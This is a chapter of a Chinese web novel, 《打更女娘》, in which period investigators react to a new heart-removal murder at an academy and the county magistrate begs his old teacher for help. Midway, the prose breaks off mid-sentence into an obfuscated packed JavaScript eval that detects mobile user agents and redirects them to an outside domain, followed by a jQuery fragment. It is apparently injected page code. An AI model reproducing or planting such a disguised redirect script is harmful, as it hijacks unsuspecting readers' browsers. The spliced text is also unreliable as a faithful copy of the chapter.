20. 第 20 章
作品:《打更女娘》 就在二人大眼瞪小眼的彼此不理解之时,小院的房门被推开了。
“宋兄,阿宁!书院出事了,快跟我走。”叶临远一脸焦急地跑了进来。
“发生了何事?”宋程二人异口同声道。
“书院里又死了一人。”叶临远的声音因为愤怒而有些颤抖,平日里一贯温和的脸上即惊且怒。
等他们三人赶到书院的时候,才听说杜应悔和葛县令早就已经到了。杜应悔听说他们到了,立刻过来门口接人。
两人也顾不上之前的不欢而散了。与杜应悔互相见礼后,宋凌舟直奔主题地问道:“现在情形如何了?”
杜应悔也干脆利落地答道:“死者是书院的举子,死于昨夜三更时分,也是被掏了心肺。”一想到刚才看到的死者的样子,他就止不住地心寒,掏心挖肺啊,那凶手得多丧心病狂才干得出来。
宋凌舟诧异道:“昨夜?”
杜应悔叹了口气说道:“不错,昨夜,大约就在我们审问那宋二郎之时。”
看着客舍的房门,二人都沉默了下来。
半晌后,杜应悔说道:“昨夜二更之时宋二郎就已经被关入了大牢,就算他再厉害,也不可能同时出现在两个地方。如果这个举子真是被那所谓的“猪神”杀的,那就说明宋儿郎是无辜的!”
“那也只能说明这个新的死者不是宋二郎杀的。不能证明之前的郑屠户之死与他无关。”宋凌舟摇了摇头说道,直觉告诉他宋二郎一直有所隐瞒。
杜应悔:“难不成有两个凶手?”
宋凌舟:“不排除这种可能。还记得我说过么?之前的死者杨仲昌和郑屠户虽然死状相像,但仵作细查下来两者死法不同。杨仲昌是被迷药迷晕后掏心挖肺而死,而郑屠户体内却并无迷药。”
杜应悔:“或许是那凶手每次杀人手法不固定呢?”
程宁插话道:“我觉得这位大人说得对,许是杀郑屠户的时候刚好没带着迷药呢?卢县就这么大点儿的地方,总不会这么巧吧,一下子出现两个爱好掏心挖肺的凶手?”
虽然已过十年,程宁如今的容貌已经大变,但还是怕被人认出来。所以他刚才一直躲在人群中,仔细看了半天确认没熟人才敢出来。程宁忍不住在心里吐槽道:毕竟谁想再被关在棺材中啊?
杜应悔:“这位小哥说的也在理。诶?你是哪位?也是卢县的衙役么?”
想到不久之前杜应悔的话,宋凌舟古怪地看了程宁一眼,然后说道:“他就是本县的打更人,程宁!”
“哦......等等,你的那个.....是他?”杜应悔瞪圆了眼睛,忙把宋凌舟拉到一边低声道,“你怎么把他带来了?当真不要你宋氏的名声了么?”
“大人若是仔细看过卷宗就会知道,此人是第一个案子的目击证人,也是亲眼看到过凶手之人。把他带在身边是为了保护他的安全。”对这人的脑回路,宋凌舟有些无语。
“哦?当真?之前怎么没见你对哪个目击证人这么看重?”对他的这番说辞杜应悔是一个字都不信。
宋凌舟白了他一眼,“你爱信不信!”
程宁看着二人嘀嘀咕咕,不禁好奇地插嘴道:“两位大人是在说我么?”
“没有。”
“不是。”宋凌舟杜应悔同时默契地否认。
程宁狐疑地盯着二人,想从他们的脸上看出蛛丝马迹。就在这时,叶临远跑到了几人跟前,气喘吁吁地说道:“几位大人,快来帮帮忙。”
几人以为又出了什么事儿,连问都没问就跟着叶临远跑进了院子。
“这就是你说的要我们帮忙之事?”杜应悔指着坐在地上的嚎啕大哭的葛县令无语地问道。
“呃,是。”叶临远也有些尴尬地红了脸。
“估计他也是没办法,你别为难他了。”宋凌舟来卢县的日子比杜应悔多几日,对于葛县令,他也算是多些了解。此人既油滑又精明,实在不是一个好对付的。
“你赶紧给我放开!”见忽然来了这么多人,山长更加尴尬了,用力地想甩开缠住他不放的葛县令。
“不放,诶,我就不放!我还不知道您?我一放手您立马就去给皇上告状了!”葛县令用尽头浑身力气抱着山长的大腿,让他动弹不得。
“葛明!!!!!!!!!!!”要不是碍着还有一群晚辈在,徐山长早就骂死葛县令了。如今人多不好发作,只能任凭他抱着自己的腿动弹不得。
“学生在。”葛明朗声回道,手上却是一点儿没松。
“你还知道我是老师,有你这么对老师的么?!”徐山长气得直吹胡子。
书院的人也都怔住了,连叶临远都没想到看起来八竿子打不着的二人居然是旧识。
“真没想到葛县令居然也是咱们老师的学生。”人群中有学子感慨道。
“咱们老师学生遍天下,连天子都是他老人家的学生,葛县令是他的学生也算不得稀奇吧?”
“可是这个葛大头怎么看也不像是咱们书院的学生啊......”
“就是,这么一个昏官怎么可能是咱们老师的学生?”
“你们知道什么啊?”一个老仆拿着扫帚走了过来说道,“葛县令可是咱们书院有史以来最出色的学子。他当年啊,比小阿远还要得山长的欢心呐。”
学院的学子们都叫这个老仆风五叔,自书院成立之时他就在,也没人说得清他到底跟随山长多少年了。他们只知道,若是谁惹怒了山长,只有风五叔能把山长劝住。所以虽然名义他是扫地的老仆,但是书院众人无人敢不尊他。
“当真?”学子们看着那肥头大耳坐在地上撒泼打滚儿的县令,实在是不敢信他们学院最出色的学子就是这副模样。
“风五叔,”见到来人,叶临远好奇地打听道,“怎么之前不见葛县令与书院走动啊?”
县衙离书院这么近,要不是这个案子,葛县令还从没上门过呢。
风五:“这,我就不知道了。”
叶临远心道:“难道是他们之间出现了什么误会?所以不来往了?”
不过看着葛县令现在这副样子,这也不像啊?
“我这也是没办法啊?无论是这天大的麻烦,还是皇上的雷霆之怒,我都担不起啊~~~~”葛县令擤了把鼻涕抹在了徐山长的裤子上,继续哭哭啼啼地絮叨道,“学生不求别的,只求老师帮忙跟皇上多争取些时日,让我们能妥善处理此案啊~”
葛县令张着大嘴哭嚎着,声音之大,震得徐山长忍不住捂住了耳朵。
“我,我怎么会有你这种弟子?”许山长忍不住仰天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696933|172043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长叹,“罢了,罢了,都是冤孽!我应了你便是。”
“当真?”葛县令立刻止住了哭嚎。
徐山长喝道:“赶紧起来!”
“诶!”葛县令看徐山长不似反悔的样子,立刻跳了起来。
看着鼻涕眼泪流了一脸的县令大人,又看了一眼一脸恨铁不成钢的徐山长,宋凌舟算是彻底悟了:“难怪他那么痛快地答应山长七日之内破案,原来是算好了即便破不了案,山长也拿他没什么办法!”
看到他动作麻利,程宁忍不住小声说道:“没想到县令大人还是个灵活的胖子。”
“咱们葛县令年轻时候可是文武兼备呢?”风五对着程宁眨了眨眼说道。
程宁:“那可真是忍不可貌相了。”
风五:“可不是嘛?人不可貌相......小公子不也是么?”
程宁心中一动,面上却不动声色地问道:“老伯这是何意?”
风五眼含深意地看了程宁一眼,没有回答,抓起扫帚离开了。
杜应悔:“没想到这个葛大头还有点儿用。”
他来了县衙几日了,平日里只见宋凌舟忙前忙后的查案,而这个葛县令呢?不是喝茶就是看戏,一旦有点儿事儿找他商量,他总是能躲多远就躲多远。没想到今日竟然无意中帮了他们一个大忙。毕竟皇上正在气头上,若是徐山长再上书说了什么,恐怕他们查起案子来压力更大。
宋凌舟嗤笑了一声,“你莫要小看了他,他啊,恐怕是咱们当中最聪明的。”
杜应悔:“怎么可能?如真是那般聪明,怎会一直龟缩在这卢县当个县令?”
宋凌舟:“你恐怕没看过他的生平吧?葛明,是大周二十三年的状元榜首。”
杜应悔:“那又如何?”
宋凌舟看了他一眼,语气淡淡地,“你父亲也是那一年参加的科举,若我记得不错,令尊是十五名。”
杜应悔抿了抿嘴,不甘心地说道:“那又如何?家父依旧是户部侍郎。”
宋凌舟嘲讽地看了他一眼。虽然他没说话,杜应悔还是红了脸,他明白父亲之所以擢升那么快也和祖父脱不了关系。可是那又如何?朝中大臣哪个不是或多或少地靠了祖荫?
宋凌舟:“我们都一样。可是他不一样!我问你,你可听说过还有谁能稳坐一县县令的位子二十余年?”
杜应悔:“什么意思?”
宋凌舟:“卢县距上京如此近,稍微有个风吹草动都会传到皇上耳朵里。所以县令这个位子可不好坐,卢县县令的位子就更难坐了。但是你看呢?二十余年的时间里,他居然没让人抓到一丁点儿把柄。你说这样的人?会是个庸才么?”
杜应悔还是不甘心,“或许他命好,一直没碰上难缠的案子罢了。”
宋凌舟:“也许吧?但是我不信世上真有那等好运之人。”
“这样的人?到底是为何要龟缩在这小小卢县呢?”宋凌舟心中的疑惑越来越大,看向葛县令的目光也越发的凌厉。
葛县令只觉得有人盯着自己,回头一看,正好与宋凌舟的目光相触。虽然只一瞬,他还是看了葛县令刚才的目光,锋芒毕露却又城府深沉。
“宋县尉,你怎么才来啊?”看到宋凌舟,葛县令重新挂上了圆滑的笑,亲热地招呼道。